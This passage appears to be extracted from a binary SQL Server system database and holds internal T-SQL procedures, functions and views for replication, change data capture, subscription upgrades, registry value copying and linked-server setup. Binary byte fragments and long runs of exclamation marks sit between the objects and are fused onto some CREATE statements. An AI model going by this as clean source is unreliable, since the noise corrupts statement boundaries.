				from msdb.dbo.sysjobs sj with (nolock) left outer join msdb.dbo.sysjobhistory sjh with (nolock) ON
			            sj.job_id = sjh.job_id and 
			            sjh.instance_id = (select max(instance_id) 
												from msdb.dbo.sysjobhistory sjh2 with (nolock)
												where sjh2.job_id = sj.job_id)
				where sj.category_id in (11,12,16,17,18)
		if @@error <> 0
		begin
        	goto Err_Handler
		end
	end

	-- now lets load all of the agent status info on a per distdb basis
	-- filter on basis of distribution db_name if specified
	declare #distributiondb_cursor cursor local fast_forward for
		select name 
		from master.dbo.sysdatabases 
		where category & @distbit <> 0 
			and has_dbaccess(name) = 1
			and (@distribution_db is null or @distribution_db = name)
	for read only
	open #distributiondb_cursor
	fetch next from #distributiondb_cursor into @db_name
	while @@fetch_status = 0
	begin
		select @cmd = QUOTENAME(@db_name) + '.sys.sp_MSenum_replication_status'

		insert into #tmp_replication_status exec @cmd @agent_type
		if @@error <> 0
	        	return 1

		fetch next from #distributiondb_cursor into @db_name
	end
	close #distributiondb_cursor
	deallocate #distributiondb_cursor

Done:
	return 0

Err_Handler:
	return 1
end
0P[@ b8create procedure sys.sp_MScdc_ddl_event
(
	@EventData xml
)
as
begin
	declare @retcode int
		,@ddl_authorized bit
	
    -- if CDC is not enabled for this db, don't do anything
    if (sys.fn_cdc_is_db_enabled() != 1)
    begin
        return 0
    end    

	-- Determine whether the caller is authorized before switching to dbo
	-- Note:  We don't want to prevent DDL that does not impact cdc behavior.
	--        Since we can't determine immediately whether we are interested
	--        in the DDL event or not, we simply retain the authorization
	--        information so it can be checked later, if needed.
	set @ddl_authorized = 1
	if 	(isnull(is_srvrolemember('sysadmin'),0) = 0) 
		and (isnull(is_member('db_owner'),0) = 0)
		and (isnull(is_member('db_ddladmin'),0) = 0)
	begin
		set @ddl_authorized = 0
	end
	
	-- Execute logic using an internal stored procedure that executes as 'dbo'
	exec @retcode = sys.sp_cdc_ddl_event_internal @EventData, @ddl_authorized 
	
	if (@@error <> 0) or (@retcode <> 0)
	begin
		return 1
	end	
	
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!~``c	<m

*0I@ \8XXZh>8^j0Zg@ 8CREATE PROC sys.sp_help_spatial_geography_index
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@verboseoutput	TINYINT,		-- OUTPUT all properties
	@query_sample	GEOGRAPHY		-- query window object
)
AS
BEGIN
	EXEC sys.sp_help_spatial_geography_index_helper @tabname, @indexname, 0, null, @verboseoutput, @query_sample
END
0u 
8create function sys.fn_pubservernamefromsyncmgr
(@subscription_name nvarchar(1000))
RETURNS nvarchar(512)
as 
begin
	declare @pubServerOffset int
				, @pubServer nvarchar(512)
	select @pubServerOffset = charindex(N':', @subscription_name)

	if @pubServerOffset > 1 and @pubServerOffset < len(@subscription_name) - 1
		set @pubServer = replace(UPPER(substring(@subscription_name, 1, @pubServerOffset - 1)), '/', '\')
	else
		set @pubServer  = N''
		
	return @pubServer 
end
0v 8CREATE VIEW sys.dm_db_missing_index_groups AS
	SELECT *
	FROM OpenRowset(TABLE MISSING_IDX_GROUPS)
0@ 8CREATE view sys.dm_hadr_cluster_members
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_CLUSTER_MEMBERS)
0ӈ@ @	8
--
-- Name:
--		sp_MSrepl_DB2datatypes
--
-- Description:
--		Define DB2 data types
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		
--

CREATE PROCEDURE sys.sp_MSrepl_DB2datatypes
(
	@dbms		sysname = 'DB2',
	@version	sysname = NULL
)
AS
BEGIN
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BIGINT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BLOB'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'CHAR'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'CHAR () FOR BIT DATA'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'CLOB'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DATE'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DBCLOB'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 3, @type = N'DECIMAL'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DOUBLE'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 1, @type = N'FLOAT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'GRAPHIC'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'INT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 3, @type = N'NUMERIC'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'REAL'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'SMALLINT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIME'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'VARCHAR'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'VARCHAR () FOR BIT DATA'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'VARGRAPHIC'
	
END
0~	K D8Zh0#0h@ 8create procedure sys.sp_MSexpire_dynamic_snapshots_affected_by_cleanup 
as
begin
    
    -- if at a publisher, invalidate all affected dynamic snapshots.
    if exists (select * from dbo.sysmergepublications where publisher_db = db_name() and UPPER(publisher) = UPPER (publishingservername()))
    begin
        delete from dbo.MSmerge_dynamic_snapshots where partition_id
        in 
        (
            select gpm.partition_id
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation		    	    
            and og.coldate > dbo.MSmerge_dynamic_snapshots.last_updated
        )
        
        delete from dbo.MSmerge_dynamic_snapshots where last_updated < 
        (
            select max(og.coldate)
            from #oldgens og join dbo.MSmerge_generation_partition_mappings gpm
            on og.gen = gpm.generation
            and gpm.partition_id = -1            
        ) 

    end
    
    return 0
end
0İ@ P8$h2>3J40oo@ D8}hx#70l	 <8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSregenerate_mergetriggers @publication sysname, @publisher sysname = NULL, @publisher_db sysname = NULL
as
    declare @pubid uniqueidentifier, @retcode int, @objid int, @col_track int, @source_owner sysname, 
            @source_object sysname, @qualified_name nvarchar(270)

    if @publisher is NULL
        select @publisher = publishingservername()

    if @publisher_db is NULL
        select @publisher_db = db_name()

    select @pubid = pubid from dbo.sysmergepublications
    where name = @publication and UPPER(publisher) = UPPER(@publisher) and publisher_db = @publisher_db

    declare articles_in_pub CURSOR LOCAL FAST_FORWARD FOR select objid, column_tracking
    from dbo.sysmergearticles 
    where pubid = @pubid
    FOR READ ONLY

    open articles_in_pub
    fetch next from articles_in_pub into @objid, @col_track

    while (@@fetch_status <> -1)
    begin
        -- regenerate the triggers
        select @source_owner = SCHEMA_NAME(schema_id), @source_object = name from sys.objects where object_id = @objid
        select @qualified_name = QUOTENAME(@source_owner) + '.' + QUOTENAME(@source_object)
        exec @retcode = sys.sp_MSaddmergetriggers @qualified_name, NULL, @col_track
        if @@error <> 0 or @retcode <> 0
        begin
            return 1
        end 

        fetch next from articles_in_pub into @objid, @col_track
    end

    close articles_in_pub
    deallocate articles_in_pub

    return 0
0%e y8-- This function takes returns the article schemaversion guid that is associated with the versions of procs generated.
create function sys.fn_GetArticleSchemaVersionGuid (@artid uniqueidentifier, @pubid uniqueidentifier)
returns uniqueidentifier
as
begin
    declare @maxschemaguidforarticle uniqueidentifier

    /* 
    ** Schema Type SCHEMA_TYPE_SCHEMASCRIPT = 2, SCHEMA_TYPE_DDL_ACTIONS = 300
    ** Schema SubType 1 = 'ADDCOLUMN', 2 = 'DROPCOLUMN', 3 = 'ALTERCOLUMN'  
    ** These subtypes are the ones that change the versions of the procs generated, so use these subtypes to get the 
    ** schema guid for the article that reflects the latest version.
    */
    select top 1 @maxschemaguidforarticle = schemaguid 
        from dbo.sysmergeschemachange 
        where artid = @artid and pubid = @pubid and 
            (
                (
                    (schematype = 300) and 
                     schemasubtype in (1, 2, 3)
                ) or 
                (schematype = 2)
            )
        order by schemaversion desc

    return @maxschemaguidforarticle
end
0jf P8h>C!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|j`aZ`9:<nn.+%V02 8create procedure sys.sp_MScleandbobjectsforreplication
as
begin
    set nocount on
    declare @tabid int
    --
    -- cleanup the objects in the database if they are not in clean state (replication metadata is marked)
    -- check columns
    --
	declare @cdc_tracked_tables table (object_id int)
	declare @cdc_table_id int
	declare @quoted_object nvarchar(517)
	declare @old_tabid int = 0

	if object_id('cdc.change_tables') is not null
	begin
		insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
	end

	begin tran
	save tran tr_cleandbobj

    if exists (select * from sys.columns where is_replicated = 1 or 
                is_non_sql_subscribed = 1 or is_dts_replicated = 1)
    begin
        DECLARE @colname sysname
        DECLARE #hCclean_col  CURSOR LOCAL FAST_FORWARD FOR 
            SELECT DISTINCT c.object_id, c.name, t.object_id  from sys.columns c
				left outer join @cdc_tracked_tables t on c.object_id = t.object_id
            where  c.is_replicated = 1 or c.is_non_sql_subscribed = 1
			order by c.object_id
        OPEN #hCclean_col
        FETCH #hCclean_col into @tabid, @colname, @cdc_table_id
        WHILE (@@fetch_status <> -1)
        begin
			--
			-- Save a few extra queries here by only looking up the table name
			--  and attempting to lock it once.
			--
			if @tabid <> @old_tabid
			begin
				EXEC sys.sp_MSget_qualified_name @tabid, @quoted_object OUTPUT
				EXEC %%Object(MultiName = @quoted_object).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
				if @@error <> 0
            		goto FAILURE
				select @old_tabid = @tabid
			end

			if @cdc_table_id is null
			begin
				EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetReplicated(Value = 0)
           	EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetLogForRepl(Value = 0)
			end
           
			EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetReplNonSQLSub(Value = 0)
			EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetDTSReplicated(Value = 0)
			FETCH #hCclean_col into @tabid, @colname, @cdc_table_id
        end
        CLOSE #hCclean_col
        DEALLOCATE #hCclean_col            
    end
    --
    --check tables
    --
    if exists (select * from sys.tables where is_published = 1 or 
                                                    is_schema_published = 1 or 
                                                    is_replicated = 1 or 
                                                    has_replication_filter = 1 )    
    begin
        DECLARE #hCclean_obj  CURSOR LOCAL FAST_FORWARD FOR 
            SELECT DISTINCT c.object_id, t.object_id from sys.tables c
				left outer join @cdc_tracked_tables t on c.object_id = t.object_id
					where c.is_published = 1 or 
                    c.is_schema_published = 1 or 
                    c.is_replicated = 1 or 
                    c.has_replication_filter = 1
        OPEN #hCclean_obj
        FETCH #hCclean_obj into @tabid, @cdc_table_id
        WHILE (@@fetch_status <> -1)
        begin
			EXEC sys.sp_MSget_qualified_name @tabid, @quoted_object OUTPUT
			EXEC %%Object(MultiName = @quoted_object).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
			if @@error <> 0
            	goto FAILURE

			EXEC %%Object(ID = @tabid).SetPublished(Value = 0)
			EXEC %%Object(ID = @tabid).SetSchemaPublished(Value = 0)
			if @cdc_table_id is null
			begin
				EXEC %%Relation(ID = @tabid).SetReplicated(Value = 0)
				EXEC %%Relation(ID = @tabid).SetHasFilterProc(Value = 0)
			end
			FETCH #hCclean_obj into @tabid, @cdc_table_id
        end
        CLOSE #hCclean_obj
        DEALLOCATE #hCclean_obj            
    end
    --
    --check views, fn, proc
    --
    if exists (select * from sys.objects where (is_published = 1 or is_schema_published = 1  ))    
    begin
        DECLARE #hCclean_obj  CURSOR LOCAL FAST_FORWARD FOR 
            SELECT DISTINCT object_id from sys.objects where (is_published = 1 or 
                is_schema_published = 1)
        OPEN #hCclean_obj
        FETCH #hCclean_obj into @tabid
        WHILE (@@fetch_status <> -1)
        begin
			EXEC sys.sp_MSget_qualified_name @tabid, @quoted_object OUTPUT
			EXEC %%Object(MultiName = @quoted_object).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
			if @@error <> 0
            	goto FAILURE
            
			EXEC %%Object(ID = @tabid).SetPublished(Value = 0)
            EXEC %%Object(ID = @tabid).SetSchemaPublished(Value = 0)
            FETCH #hCclean_obj into @tabid
        end
        CLOSE #hCclean_obj
        DEALLOCATE #hCclean_obj            
    end
    --
    --clear any 'proc exec' or 'serializable proc exec' bits
    --
    if exists (select * from sys.procedures where is_execution_replicated = 1 or is_repl_serializable_only = 1  )
    begin
        DECLARE #hCclean_obj  CURSOR LOCAL FAST_FORWARD FOR 
            SELECT DISTINCT object_id from sys.procedures where (is_execution_replicated = 1 or 
                is_repl_serializable_only = 1) 
        OPEN #hCclean_obj
        FETCH #hCclean_obj into @tabid
        WHILE (@@fetch_status <> -1)
        begin
			EXEC sys.sp_MSget_qualified_name @tabid, @quoted_object OUTPUT
			EXEC %%Object(MultiName = @quoted_object).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
			if @@error <> 0
            	goto FAILURE

            EXEC %%Module(ID = @tabid).SetProcReplicated(Value = 0)
            EXEC %%Module(ID = @tabid).SetProcReplSerialOnly(Value = 0)
            FETCH #hCclean_obj into @tabid
        end
        CLOSE #hCclean_obj
        DEALLOCATE #hCclean_obj            
    end

	commit tran
    --
    -- all done
    --
    return 0

FAILURE:
	rollback tran tr_cleandbobj
	commit tran
	
	return (1)
end
0u@ 8
create procedure sys.sp_helpsubscriberinfo
(
    @subscriber	sysname = '%',
    @publisher	sysname = null
)
AS
BEGIN
	DECLARE @cmd		nvarchar(4000)
	DECLARE @retcode	int

	SET @retcode = 0

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher			= @publisher,
													@rpcheader			= @cmd OUTPUT,
													@skipSecurityCheck	= 1
	
	IF @retcode <> 0
		RETURN (@retcode)

	IF @publisher IS NULL
		SET @publisher = publishingservername()

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_helpsubscriberinfo'

	EXEC @retcode = @cmd
					@subscriber,
					@publisher,
					NULL

	RETURN (@retcode)
END
0B@ 8create procedure [sys].[sp_cdc_verify_capture_instance]
(
	@capture_instance nvarchar(200)
)	
as
begin
	declare @retcode int
		,@use_count int
		,@stmt nvarchar(max)
	
    set nocount on

	-- Verify that the provided capture instance name meets the imposed length restriction
	-- (Less than or equal to 100 characters.)
	if (len(@capture_instance) > 100)
	begin
		raiserror(22927, 16, -1, @capture_instance)
		return 1
	end

	-- Verify that the @capture_instance provided is a valid system name
	exec @retcode = [sys].[sp_validname] @capture_instance
	if (@retcode != 0)
	begin
		raiserror(22932, 16, -1, @capture_instance)
		return 1
	end	

	-- Verify that the provided capture_instance is not already used as a capture instance name
	-- for a source table
	if exists (
			select top 1 capture_instance
			from [cdc].[change_tables]
			where capture_instance = @capture_instance ) 
	begin
		raiserror(22926, 16, -1, @capture_instance)
		return 1
	end			
	
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Z|`r<o0v 8create procedure sys.sp_vupgrade_subscription_databases
as
begin
    set nocount on

    -- raiserror('sp_vupgrade_subscription_databases', 0,1) with nowait
    declare @dbname nvarchar(270), 
            @has_dbaccess bit,
            @dbupgprocname nvarchar(1024)

    -- Upgrade all databases except system and distribution db's
    -- These db's cannot be subscription databases
    DECLARE current_db CURSOR LOCAL FAST_FORWARD
    FOR
    SELECT  distinct N'[' + replace(name, N']', N']]') + N']',
            has_dbaccess(name)
    FROM    master.dbo.sysdatabases 
    WHERE   name NOT IN
                (
                    N'master' COLLATE DATABASE_DEFAULT,
                    N'tempdb' COLLATE DATABASE_DEFAULT,
                    N'msdb'   COLLATE DATABASE_DEFAULT,
                    N'model'   COLLATE DATABASE_DEFAULT
                )
    AND   sys.fn_MSrepl_isdistdb (name) = 0
    and databasepropertyex(name, 'Updateability') = 'READ_WRITE'
    FOR READ ONLY

    -- Note: dbname is quoted!
    open current_db
    fetch current_db into @dbname, @has_dbaccess
    while ( @@fetch_status <> -1 )
    begin

        -- upgrade repl tables in sub dbs if needed - sub dbs are not marked with subscribed status 
        -- skip any database in an offline state and write warning to upgrade log
        if ( @has_dbaccess = 1 )
        begin
            raiserror( 21377, 0, 1, @dbname) with nowait

            select @dbupgprocname = @dbname + N'.sys.sp_vupgrade_MSsubscription_properties'
            exec @dbupgprocname
            select @dbupgprocname = @dbname + N'.sys.sp_vupgrade_subscription_tables'
            exec @dbupgprocname
            select @dbupgprocname = @dbname + N'.sys.sp_vupgrade_mergetables'
            exec @dbupgprocname
            select @dbupgprocname = @dbname + N'.sys.sp_vupgrade_subpass'
            exec @dbupgprocname

            -- ONLY DO THIS IF WE KNOW MSDB IS UPGRADED
            IF EXISTS(SELECT * 
                        FROM msdb.sys.columns 
                        WHERE object_id = OBJECT_ID(N'msdb.dbo.sysjobsteps') 
                            AND name = N'step_uid')
            BEGIN
                select @dbupgprocname = @dbname + N'.sys.sp_MSupgrade_subdb_security_metadata'
                exec @dbupgprocname
            END
            ELSE
            BEGIN
                -- "The replication %s could not be upgraded for %s database(s). Please ensure that %s is upgraded and re-execute %s."
                RAISERROR(21450, 10, -1, 'subscriber security meta-data', @dbname,  'msdb database', 'sp_vupgrade_replsecurity_metadata') WITH NOWAIT
            END
        end
        else
        begin
            raiserror( 21373, 10, 1, @dbname) with nowait
        end

        fetch next from current_db into @dbname, @has_dbaccess
    end
    close current_db
    deallocate current_db
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
p'mr0	@ 8--
-- Name: sp_MScopyregvalue
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScopyregvalue(    
    @oldregkey            nvarchar(1000),
    @newregkey            nvarchar(1000),
    @param_type            nvarchar(20),
    @param_name            sysname)
as
    set nocount on
    declare @retcode     int
    create table #binaryvalues ( value sysname collate database_default, data varbinary(256))
    if (@param_type = 'REG_SZ')
    begin
        declare @value_str nvarchar(1000)
        set @value_str = NULL
        -- Read value from old reg location and write to new one
        EXECUTE @retcode = master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
                               @oldregkey,
                               @param_name,
                               @param = @value_str OUTPUT,
                               @no_output = 'no_output'
        if @retcode <> 0 or @@ERROR <> 0
        begin
            set @retcode = 0
            goto FAILURE
        end
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @newregkey,
                           @param_name,
                           'REG_SZ',
                           @value_str
        if @retcode <> 0 OR @@ERROR <> 0
        begin
            set @retcode = 1
            goto FAILURE
        end
    end
    
    if (@param_type = 'REG_DWORD')
    begin
        declare @value_int int
        set @value_int = NULL
        -- Read value from old reg location and write to new one
        EXECUTE @retcode = master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
                               @oldregkey,
                               @param_name,
                               @param = @value_int OUTPUT,
                               @no_output = 'no_output'
        if @retcode <> 0 or @@ERROR <> 0
        begin
            set @retcode = 0
            goto FAILURE
        end
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @newregkey,
                           @param_name,
                           'REG_DWORD',
                           @value_int
        if @retcode <> 0 OR @@ERROR <> 0
        begin
            set @retcode = 1
            goto FAILURE
        end
    end
    
    if (@param_type = 'REG_BINARY')
    begin
        declare @value_binary varbinary(256)
        set @value_binary = NULL
        -- Read value from old reg location and write to new one
/*
-- binary output buffer was corrupted for a couple of builds;looks to be working now
-- if reverting to this read, must pre-check exists on regkey to avoid regopenkey failure 
-- on non-existent key when no OUTPUT parm specified
        insert into #binaryvalues EXECUTE master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
                               @oldregkey,
                               @param_name
        if @@ERROR <> 0
            begin
                set @retcode = 0
                goto FAILURE
            end        
        select @value_binary = data from #binaryvalues
        if @value_binary is NOT NULL
            EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                               @newregkey,
                               @param_name,
                            'REG_BINARY',
                               @value_binary
                               
*/
        EXECUTE @retcode = master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
                               @oldregkey,
                               @param_name,
                               @param = @value_binary OUTPUT,
                               @no_output = 'no_output'
        if @retcode <> 0 or @@ERROR <> 0
        begin
            set @retcode = 0
            goto FAILURE
        end
        EXECUTE @retcode = master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE',
                           @newregkey,
                           @param_name,
                           'REG_BINARY',
                           @value_binary
        if @retcode <> 0 OR @@ERROR <> 0
        begin
            set @retcode = 1
            goto FAILURE
        end
    end
    
    set @retcode = 0
FAILURE:
    drop table #binaryvalues
    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`r_<q$H(r0@ 8CREATE VIEW sys.dm_clr_loaded_assemblies AS
	SELECT
		assembly_id,
		appdomain_address,
		load_time
	FROM OpenRowset(TABLE DM_CLR_LOADED_ASSEMBLIES) 
0R@ 8CREATE PROCEDURE sys.sp_syspolicy_subscribe_to_policy_category
	@policy_category sysname
AS
BEGIN
	IF( @policy_category IS NULL)
	BEGIN	
		RAISERROR(14043, -1, -1, '@policy_category', 'sp_syspolicy_subscribe_to_policy_category')
		RETURN(1)
	END

	IF (IS_MEMBER('db_owner') != 1)
	BEGIN
		RAISERROR(21050, -1, -1)
		RETURN(1)
	END
	DECLARE @dbname sysname
	SET @dbname = DB_NAME()
	DECLARE @ret int
	EXEC @ret = [msdb].[dbo].[sp_syspolicy_add_policy_category_subscription] 
		@target_type = N'DATABASE', 
		@target_object = @dbname, 
		@policy_category = @policy_category
	RETURN @ret
END
0~@ 58
--
-- Name: sp_hadr_create_linked_server
--
-- Descriptions: Create a linked server for communicating with the 
--               server that is the target of redirection.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure
--          On failure, if the linked server was created, it is dropped.
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_create_linked_server
(
    @original_publisher sysname,
    @publisher_db sysname,
    @redirected_publisher sysname,
    @publisher_linked_server sysname output,
	@use_caller_credentials bit = 0
)
as
begin

    set nocount on
    
    declare @cmd nvarchar(1000),
        @query nvarchar(1000),
        @retcode int,
        @original_error_number int,
        @original_error_message nvarchar(4000),
        @option nvarchar(100),
        @server_created bit,
        @publisher_security_mode int,
        @publisher_login sysname,
        @publisher_password nvarchar(524)
        
    set @retcode = 0    
        
    begin try
        set @server_created = 0
        set @publisher_security_mode = 0
        set @publisher_login = null
        set @publisher_password = null
        set @publisher_linked_server = quotename(newid())

        if @use_caller_credentials = 0
		begin
			-- Obtain the credentials associated with the original publisher.
			--
			set @option = 'select login from msdb.dbo.MSdistpublishers where upper(name) = ' + upper(quotename(rtrim(@original_publisher),'''')) 
			select @publisher_security_mode = security_mode,
